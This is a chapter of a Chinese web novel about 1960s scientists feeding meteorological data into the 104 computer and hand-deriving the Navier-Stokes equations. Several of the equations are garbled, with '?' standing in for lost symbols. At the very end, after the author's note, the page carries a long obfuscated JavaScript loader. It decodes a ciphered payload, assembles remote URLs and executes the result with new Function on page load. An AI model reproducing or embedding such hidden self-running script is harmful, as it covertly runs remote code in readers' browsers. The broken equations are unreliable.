第五百四十二章 两地联动,开始测算!(2 / 2)

104机的主体足足有六十多平米大,显像屏大概五十多块,大小和后世的平板差不多。

此时此刻。

五十多块屏幕前都坐着一位表情正式的计算机操作员,有男有女,年纪都在二十多岁上下。

他们是国内最早一批...也就是58级的计算机专业毕业生,毕业院校正是中科大。

如果徐云能够飞到这里和其中某位短发的女同志摆个把子,他还能成为后世科大数学系某位教授的义父......

“小林,小王,小陈,来帮忙发一下数据!”

带着首批数据进入机房后。

吴几康快步走到左前方的几位组长面前,分发起了各自的数据,并且对众人嘱咐道:

“大家拿到文稿后就可以开始导入数据了,你们的任务事关重大,切记要务必谨慎,千万不能犯错!都明白了吗?”

台下很快响起了一致的回答:

“明白了!”

吴几康则依旧沉着脸,看起来很严肃。

其实吧。

考虑到这次录入的数据很多,个别数据要是出了错误其实不会太过影响最终结果,因此上头还给了一个3%的容错率。

不过吴几康并没有把这事儿告诉几位操作员,怕他们会因为放松而出现意外。

几分钟后。

每位操作员的手上都拿到了相应的数据,并且开始进行了导入。

早先提及过。

老郭他们原先仪器采集到的数据有五百多组,但后来经过叶笃正的计算发现这些数据完全不够用。

想要完成气象模拟,必须要多出十万倍才可以。

也就是需要的数据足足有五千多万组。

不过这只是计算需要的数据,导入的工作量并没有这么多。

因为在经过静电分析和X双波段这两个关卡后,这些数据会被归类到一个更规范的区间:

这个区间大概一小时刷新一次,其中雷同的数值会被叠加,通过光电转换元件的电信号直接进行录入。

因此传到吴几康他们手中、需要纯手工导入的数据远远没有五千万组那么多。

以兔子们第一台气象多普勒雷达为例。

国内第一台气象多普勒雷达型号叫做714SD,它单次采集的数据多达1400万组,周期十五分钟一次。

不过在真正计算的时候,电转换元件过滤了98%的雷同数值。

所以真正需要人工导入的数据也就小几十万组罢了——注意,导入和计算是两码事,实际计算的数据依旧是1400万组。

眼下5000万组数据虽然看起来多,但真正需要手工录入的大概也就百万组上下。

如今机房内有五十多个人,每位操作员实际上要录入的数据差不多是三万组左右吧。

真·日更三万。

接着很快。

众多操作员便开始输入起了数据。

“气温26.7℃.....”

“湿度27%.....”

“经向风18.5m/s.....”

“散射辐射220W/m^2.......”

很早以前提及过。

不同于后世计算天气时的RF-CMAQ等一众模型。

此时的气象学依旧处于一个非常原始的阶段。

因此即便有茫茫多的数据,也仍然只能通过解大气方程的方法进行预测。

也就是此前说过的将地球表面格点化,然后将各气象要素的值进行插值运算,得到未来某一个时刻的值。

因此实际的模型推导还需要叶笃正他们那边进行,中科院的这台104机主要是把各种数据拟合成更精确的参数而已。

用后世的话来说就是......

加工成半成品?

当然了。

这个年代虽然科技比较落后,但终究脱离了近代史早期。

加之计算机所也好歹是兔子们最前端的一处技术中枢,因此此时104机倒也没原始到特别凄惨的地步。

目前104机虽然还是脱离不了解方程的局限,但它使用的算法...或者说思路其实还挺特别的:

时间分辨率为1小时,覆盖了6层垂直高度,decoder只有两级。

更关键的是....

它的数学本底机理,出自华罗庚老爷子带领的数学研究所。

没错。

华罗庚。

因此虽然依旧是暴力破解计算。

但在数据充分的情况下,104机模拟的还算很顺利。

就这样。

每间隔一段时间,便有一批数据从221厂传送至计算机所。

计算机所的操作员则对数据导入,104机用老爷车般的算力缓缓产出着结果。

.......

八个小时后。

一份厚达五厘米的数据结果正式出炉。

原本零散的大气粒子数据被归类成了各个时域的参数、风场、气压场、密度场等众多更详细的模型。

紧接着。

这些数据被通过加密方式传回了221厂,最终来到了叶笃正和陶诗言的手里。

至此。

整个气象推演也到了最后一个环节。

那就是气象中心的......

人力修正与推导。

“诸位同志。”

一处临时搭建的大型帐篷内。

叶笃正与陶诗言看了眼面前的众多同事,彼此对视一眼,只听叶笃正说道:

“一个星期之前,我们的计算结果很遗憾的失败了,原因是数据的量级不够,我们低估了大自然的神秘。”

“但在今天,我们拥有了更多量级的数据,经过计算机处理,汇总成了我面前的这份参数文件。”

“原本首都的竺可桢老先生提出过将这份文件交给首都气象局处理的想法,但被我拒绝了——这一次是我们221厂气象中心雪耻的机会,谁都不能和咱们抢!”

“为此我还在厂领导面前立下了军令状,要是这次再计算失误,包括我在内,所有参与数据推导的人全都立马去畜牧副业队报道!”

说罢。

叶笃正环视了现场一圈,语气略微一缓,继续道:

“当然了,如果对此有异议的同志,可以现在退出接下来的计算任务。”

“退出后的成员可以继续在气象中心工作,毕竟基地不可能完全放弃这么一个部门,所以......”

“现在想退出的同志,你们可以离开了。”

此话说完。

现场瞬间变得毫无声息,仿佛呼吸都凝固了。

但在这片死寂之中。

却没有一人从位置上站起离去。

现场每个人的心中,都有一把火在燃烧。

这把火不是怒火,更不是委屈。

而是单纯的想要证明自己的价值的冲动。

在过去这些天里。

虽然厂里头没有处罚他们,但气象中心的成员们多少都听到了一些风言风语。

没办法。

毕竟整个221厂有上万员工呢,总是会有一些碎嘴或者彼此看不顺眼的人存在。

要是有本事的还好说。

像老郭陆光达那种专家都受人尊敬,没人会诋毁他们。

但如果是那种既不干活但又没成果的人,必然就会受到一些非议了。

更关键的是.....

现场的这些人都是气象领域的从业者,在相关方面从业了数年、十数年甚至数十年。

从他们的‘道心’出发,也绝不愿意见到自己所学的知识到头来没有任何用处。

因此这是一场自我雪耻的战斗,也是一次证明自己的机会。

如果惧怕担责任,他们压根连基地的大门都不会踏进来。

众多同事沉默但坚定的选择很快也感染了台上的叶笃正,只见他勐然一拍桌子:

“好!很好!都是好样的!”

“既然大家都不愿意离开这里,那么今晚咱们就好好的算上一场!”

说着。

叶笃正又拍了拍面前的文件,快速说道:

“各位同志,大家应该都知道,气象数据存在很强的时效性。”

“所以现在我们长话短说,请小组长们上前认领各自需要计算的文档吧。”

“首先是第一组......”

随后在陶诗言和几位组长的协助下。

这些文件被快速下发到了每个人的手中。

接着短短五分钟不到。

帐篷内便响起了刷刷刷的笔算和噼里啪啦的算盘声。

作为项目的总负责人,叶笃正这次同样也亲自下场进行了计算,并且负责的是最复杂的涡度场。

涡度。

这是和散度是差不多用处的概念。

不过散度描的是述气流的离散程度,一般正值为气流辐散,负值气流辐合。

而涡度有绝对涡度和相对涡度之分。

它们的关系可以通过【绝对涡度=相对涡度+2Ω】(其中Ω为地球自转角速度)来计算。

这部分计算是叶笃正主动申请下来的,毕竟.....

在之前的计算过程中,他就曾经在三维空间流体方面栽了个跟头。

当时他将笛卡尔坐标系转化为曲面坐标,将连续方程拆分成水平和垂直两个方向分别计算。

同时在痕量物质方面依据雷诺分解,把瞬时浓度分解为了均值项和湍流项。

但后来实际情况证明他的思路是错误的,他低估了垂直梯度的实际变动量。

换而言之.....

他必须要重新设计出一个模型。

想到这里。

叶笃正先在算纸上写下了一个方程:

Du/Dt=??(p/ρ)+v?2u

这是很有名的纳维-斯托克斯方程,提出于一百多年前,属于一个描述流体情况的方程组。

其中的斯托克斯想必有些同学会感觉眼熟——没错,这个斯托克斯就是1850副本中徐云的便宜导师......

它关于u的边界条件是u=0。

接着叶笃正很快又写道:

δT=(?T/?t)δt+(?T/?x)δx+…

δx=uxδt,进而

DT/Dt=?T?t+ux?T?x+uy?T?y+uz?T?z=?T?t+(u??)T.......

DA/Dt=?A?t+(u??)A.....

所以okes方程可以改写为:

Du/Dt=?u?t+(u??)u=??(p/ρ)+v?2u。

写到这里。

叶笃正不由笔尖一顿。

上头这部分推导是他在前些天想出来的优化形式,弥补了自己原先思路的不足。

但是.....

到了变式后的这一步。

叶笃正就不知道该如何继续了。

没错。

不是计算或者推导不出哪个数值。

而是不知道该怎么推导了。

为此他还请教过首都的竺可桢老先生,但即便是竺老也没什么办法。

竺老只是给出了一个考虑非线性项的想法,但叶笃正总感觉这样算有点问题。

而就在叶笃正一筹莫展之际。

不知道为什么,叶笃正忽然感觉自己的耳边有些异样。

怎么说呢.......

仿佛有人在对着自己的耳边吹风?

于是叶笃正下意识转过头,结果正正好对上了一张裹的跟木乃尹似的脸。

叶笃正:

“?!”

......

注:

要改的都改好了,明天开始继续日万,冲鸭!

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();